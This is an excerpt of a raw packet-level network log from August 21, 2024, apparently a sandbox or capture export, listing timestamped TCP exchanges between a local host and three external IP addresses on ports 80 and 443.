Aug 21, 2024 08:32:16.990119934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.990124941 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.990129948 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.990130901 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.990144968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.990150928 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.990151882 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.990163088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.990170002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.990175962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.990180016 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.990200996 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.990222931 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.990356922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990366936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990375042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990380049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990386009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990391016 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990401983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990412951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.990446091 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.990525961 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.990541935 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.990627050 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.990627050 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.990639925 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.990691900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990712881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990720034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990736008 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.990736961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990742922 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.990751982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990752935 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.990758896 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990765095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990771055 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.990777016 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.990794897 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.990818977 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.991241932 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.991256952 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.991329908 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.991369009 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.991369009 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.991379976 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.991394043 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.991456032 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.991456032 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.991978884 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.991993904 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.992078066 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.992078066 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.992085934 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.992141962 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.992259026 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.992274046 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.992321014 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.992326021 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.992348909 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.992376089 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.992384911 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.992397070 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.992404938 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.992453098 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.992898941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.992904902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.992909908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.992945910 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993119001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993124962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993139982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993144989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993150949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993168116 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993185043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993283033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993289948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993330956 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993335962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993340015 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993341923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993346930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993354082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993366957 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993375063 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.993383884 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993397951 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.993407011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993408918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993418932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993422031 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.993423939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993428946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993433952 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.993443966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993458986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993472099 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.993474007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993485928 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993485928 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993494034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993500948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993510008 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993514061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993516922 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.993537903 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993550062 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993565083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993571043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993586063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993592024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993602037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993607044 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993637085 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993710041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993717909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993729115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993732929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993738890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993745089 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993751049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993763924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993769884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993774891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993776083 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993787050 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993808985 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993848085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993855000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993865967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993871927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993880033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993891954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.993895054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993915081 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.993937016 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.995043993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995049953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995062113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995101929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995110989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995116949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995124102 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995156050 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995160103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995167971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995183945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995234013 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995260954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995266914 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995277882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995284081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995295048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995301008 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995311022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995326996 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995342016 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995361090 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995415926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995425940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995434046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995439053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995450974 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995486975 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995507956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995517969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995520115 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995524883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995531082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995543003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995543957 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995548964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995572090 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995584965 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995618105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995630980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995636940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995642900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995649099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995655060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.995677948 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995707989 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.995883942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.995889902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.995907068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.995913029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.995917082 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.995919943 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.995930910 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.995930910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.995937109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.995948076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.995960951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.995980024 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.996001959 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.996009111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996021986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996026993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996032953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996045113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996051073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996052980 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.996054888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996062040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996068954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996074915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996076107 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.996090889 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.996117115 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.996117115 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.996119976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996125937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996135950 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996141911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996154070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996157885 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.996157885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996171951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.996193886 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.996315956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996326923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996332884 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996337891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996350050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996355057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996366978 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996372938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996372938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.996378899 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.996385098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996391058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996398926 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.996402025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996408939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996422052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996432066 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.996445894 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.996445894 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.996459961 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.996479034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996501923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996507883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996551991 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.996552944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996560097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996566057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996571064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996576071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.996593952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.996608019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.996896029 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.996911049 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.997004986 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.997004986 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.997014046 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.997071981 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.020241022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.020246983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.020256042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.020302057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.020307064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.020312071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.020314932 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.020318031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.020356894 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.020365000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.020442009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021032095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021037102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021047115 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021087885 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021097898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021102905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021112919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021117926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021130085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021135092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021148920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021174908 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021181107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021214962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021219969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021224022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021226883 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021255970 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021336079 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021342039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021353960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021358967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021362066 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021368027 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021377087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021382093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021410942 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021425962 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021469116 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021472931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021482944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021488905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021493912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021503925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021513939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021516085 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021533012 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021563053 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021743059 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021758080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021771908 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021775961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021785021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021797895 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021826982 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021833897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021842957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021852970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021858931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021887064 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021898031 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.021919966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021924973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.021961927 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.048274040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.048280001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.048291922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.048336029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.048341990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.048352957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.048358917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.048399925 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.048434973 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.059946060 CEST	80	49722	162.241.203.25	192.168.2.6
